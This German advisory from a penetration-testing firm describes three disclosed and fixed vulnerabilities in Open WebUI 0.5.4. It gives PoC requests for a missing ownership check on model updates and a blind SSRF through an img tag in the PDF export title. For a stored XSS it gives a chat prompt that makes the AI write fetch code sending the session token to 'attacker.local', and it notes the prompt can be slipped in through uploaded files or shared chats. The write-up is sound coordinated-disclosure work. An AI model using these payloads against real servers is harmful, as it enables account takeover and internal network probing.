Drei Schwachstellen in Open WebUI.
Im Rahmen eines Penetrationstests für einen Kunden stießen wir auf drei Schwachstellen, deren Ursache im Kern von Open WebUI liegt – der weit verbreiteten, selbst gehosteten Weboberfläche für lokale und externe KI-Modelle. Von einer fehlenden Autorisierungsprüfung über eine Blind-SSRF im PDF-Export bis zu einem Stored-XSS in der HTML-Vorschau. Alle drei wurden verantwortungsvoll gemeldet, mit CVEs versehen und vom Projekt behoben.
Was ist Open WebUI?
Open WebUI ist eine selbst gehostete, erweiterbare Weboberfläche für den Betrieb von Sprachmodellen – lokal über Backends wie Ollama oder über OpenAI-kompatible APIs. Das Projekt ist außerordentlich populär und wird typischerweise mehrbenutzerfähig betrieben, etwa als gemeinsame KI-Plattform in Unternehmen. Genau dieser Mehrbenutzerkontext macht Schwachstellen in der Autorisierung und in der Verarbeitung von Nutzereingaben besonders relevant: Was ein Nutzer eingibt, kann Ressourcen anderer Nutzer oder den Server selbst betreffen.
Die folgenden drei Befunde stammen aus einem Kundenprojekt und wurden auf Open WebUI 0.5.4 verifiziert. Da die Ursachen jeweils im Kern der Anwendung liegen, haben wir sie über den Security-Advisory-Prozess des Projekts gemeldet.
Fehlende Autorisierung beim Model-Update
Zusammenfassung. Ein Nutzer kann das Modell eines anderen Nutzers
verändern – selbst dann, wenn dessen Sichtbarkeit auf Private gesetzt ist. Es
handelt sich um eine klassische Broken Object Level Authorization (BOLA / IDOR): Der
Endpunkt prüft nicht, ob der Aufrufer überhaupt Eigentümer des adressierten Objekts ist.
Details & PoC. Das Opfer legt ein privates Modell an. Ein anderer,
regulär angemeldeter Nutzer (der Angreifer) sendet anschließend einen
update-Request auf dieses Modell, indem er dessen id angibt. Der
Server führt die Änderung aus, ohne die Eigentümerschaft zu verifizieren.
POST /api/v1/models/model/update?id=aaabraaa HTTP/2
Host: domain.local
// einige Header entfernt
Te: trailers
{
"id": "aaabraaa",
"base_model_id": "gpt-4o-POC",
"name": "testmodel",
"meta": {
"profile_image_url": "/static/favicon.png",
"description": "",
"capabilities": {
"vision": true,
"usage": false,
"citations": true
},
"suggestion_prompts": null,
"tags": [],
"toolIds": [
"test"
]
},
"params": {},
"user_id": "565c82e6-083f-42bb-bf0f-a4e214cfb9ad",
"access_control": {
"read": {
"group_ids": [],
"user_ids": []
},
"write": {
"group_ids": [],
"user_ids": []
}
},
"is_active": true,
"updated_at": 1737314575,
"created_at": 1737121281
}
Besonders kritisch ist der mitgesendete Block access_control: Da der Angreifer
die Lese- und Schreibberechtigungen beim Bearbeiten frei setzen kann, lässt sich das fremde,
eigentlich private Modell auf diese Weise auch für Unbefugte zugänglich machen.
Impact. Integritätsverlust an fremden Objekten: Ein Angreifer kann die
Konfiguration privater Modelle anderer Nutzer manipulieren und über die geänderten
Zugriffsrechte unautorisierten Zugang herstellen. Der CVSS-Vektor
(AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N) bildet dies mit hohem Integritäts-, aber
keinem direkten Vertraulichkeitseinfluss ab.
0.5.7 wurde eine serverseitige
Autorisierungsprüfung ergänzt. Betreiber sollten auf eine aktuelle Version aktualisieren.
Blind SSRF über den PDF-Export
Zusammenfassung. Die PDF-Export-Funktion interpretiert Nutzereingaben als
HTML und bettet sie in das erzeugte PDF ein. Skripte und einige gefährliche Tags
(iframe, object u. a.) werden dabei blockiert – ein
<img>-Tag jedoch nicht. Über dessen src-Attribut lässt sich
eine serverseitige Anfrage erzwingen.
Details & PoC. Man startet einen Chat und exportiert ihn als PDF. Der
zugehörige Request wird abgefangen und im Feld title ein
<img>-Tag platziert, dessen src auf einen vom Angreifer
kontrollierten Host zeigt:
POST /api/v1/utils/pdf HTTP/2
Host: domain.local
// einige Header entfernt
Content-Type: application/json
Te: trailers
{
"title": "<img src='https://d5jok0s7ghl1p77v5brlqlxwmnsega4z.oastify.com' />",
"messages": [
{
"id": "81f24589-384d-431c-a26c-5cd3382ac941",
"parentId": null,
"childrenIds": [
"0c1a3ee1-6350-4bb4-b95e-fc2341c47e8e"
],
"role": "user",
"content": "hallo",
"timestamp": 1736932102,
"models": [
"gpt-4o-POC"
]
},
{
"parentId": "81f24589-384d-431c-a26c-5cd3382ac941",
"id": "0c1a3ee1-6350-4bb4-b95e-fc2341c47e8e",
"childrenIds": [],
"role": "assistant",
"content": "Hallo! Wie kann ich Ihnen helfen?",
"model": "gpt-4o-POC",
"modelName": "gpt-4o-POC",
"modelIdx": 0,
"userContext": null,
"timestamp": 1736932103,
"done": true
}
]
}
Beim Rendern des PDFs löst der Server das Bild auf und stellt die Anfrage an den angegebenen Host. Im Test traf entsprechend ein HTTPS-Callback auf der Kollaborator-Domain ein.
Impact. Ein Nutzer kann serverseitige GET-Anfragen auslösen. Innerhalb der Testzeit ließ sich die Antwort nicht auslesen (daher Blind SSRF). Dennoch ist das Verhalten sicherheitsrelevant: Über Antwortzeiten lassen sich interne Systeme aufzählen und beliebige GET-Anfragen im internen Netz anstoßen.
167c8bf00,
erstmals ausgeliefert in 0.5.11. Der Fix umschließt jedes nutzerkontrollierbare
Feld, das in das PDF-HTML-Template fließt (title, content,
role, model, formatiertes Datum), mit html.escape(),
bevor der String an fpdf2.write_html() übergeben wird.
// PoC-Payload im Feld "title"
<img src='https://…oastify.com' />
// nach html.escape(), bevor der String an fpdf2.write_html() geht
<img src='…oastify.com' />
// -> von fpdf2 als Text gerendert, kein HTML-Parsing, keine Anfrage
Stored XSS über die HTML-Render-Ansicht
Zusammenfassung. Über die Funktion zur Vorschau von HTML-Inhalten eines Chats lassen sich Skripte einschleusen und ausführen.
Details. Das Frontend rendert HTML-Inhalte in einem iframe mit
folgender Sandbox-Direktive:
sandbox="allow-scripts allow-forms allow-same-origin"
Die Kombination aus allow-scripts und allow-same-origin hebt den
Schutz der Sandbox weitgehend auf: Skripte dürfen ausgeführt werden und erhalten
Zugriff auf den Ursprung des Elternfensters – einschließlich des localStorage.
Lediglich einzelne Funktionen (etwa alert()) bleiben eingeschränkt.
PoC. Enthält ein im Chat dargestelltes HTML-Dokument ein Skript, wird dieses in der Vorschau ausgeführt. Eine Nachricht wie die folgende genügt, um das Sitzungstoken auszulesen und an einen externen Host zu senden:
Create an HTML form and insert the following script into the document:
fetch('https://www.attacker.local/?' + localStorage.getItem('token'))
Impact. Im Kern ist dies zunächst ein Self-XSS – ausführbar nur im eigenen Kontext. Der eingeschleuste Code kann jedoch auf mehreren Wegen in den Kontext eines anderen Nutzers gelangen:
- indem das Opfer dazu gebracht wird, die Eingabe selbst einzugeben (Nutzer erwarten keine JavaScript-Ausführung über Chat-Eingaben);
- über die Funktion Chat Share: Ein geteilter Chat kann geklont werden, wodurch die Eingabe in einen fremden Kontext übertragen wird;
- indem die Anweisung in einer Datei (Text, PDF o. a.) eingebettet ist, die das Opfer hochlädt und anzeigen lässt (z. B. per „Show content");
- durch den Import eines Chats über Settings → Conversations → Import Conversations.
Ein Angriff gelingt nur unter diesen Voraussetzungen, weshalb die Angriffskomplexität als
High und die Ausnutzbarkeit insgesamt als sehr gering eingestuft wurde.
iframe sollte restriktiver
definiert werden, sodass Skripte nicht mit Zugriff auf die Daten des Elternfensters
ausgeführt werden können. Behoben in Open WebUI 0.6.5.
Disclosure & Credits
Alle drei Schwachstellen wurden im Zuge eines Kundenprojekts entdeckt und im Sinne der Coordinated Disclosure über den GitHub-Security-Advisory-Prozess von Open WebUI gemeldet. Sie wurden vom Projekt bestätigt, mit CVE-Kennungen versehen und in den genannten Versionen behoben. Gemeldet durch simioni87 (diSEC).
- Test aufOpen WebUI 0.5.4
- 08.05.2026Veröffentlichung des Advisories zum Stored XSS (GHSA-4vrc-m9ch-6m3r).
- 09.05.2026Veröffentlichung der Advisories zur fehlenden Autorisierung (GHSA-gm54-m39w-grjp) und zur Blind SSRF (GHSA-f776-fp4w-266c).
Referenzen
- GHSA-4vrc-m9ch-6m3r · Stored XSShttps://github.com/open-webui/open-webui/security/advisories/GHSA-4vrc-m9ch-6m3r
- GHSA-gm54-m39w-grjp · Missing Authorizationhttps://github.com/open-webui/open-webui/security/advisories/GHSA-gm54-m39w-grjp
- GHSA-f776-fp4w-266c · Blind SSRFhttps://github.com/open-webui/open-webui/security/advisories/GHSA-f776-fp4w-266c
- CVE-2026-45303https://www.cve.org/CVERecord?id=CVE-2026-45303
- CVE-2026-45345https://www.cve.org/CVERecord?id=CVE-2026-45345
- CVE-2026-45347https://www.cve.org/CVERecord?id=CVE-2026-45347
- Open WebUI · Projekthttps://github.com/open-webui/open-webui
- OWASP · Server-Side Request Forgeryhttps://owasp.org/www-community/attacks/Server_Side_Request_Forgery
- OWASP · Cross Site Scriptinghttps://owasp.org/www-community/attacks/xss/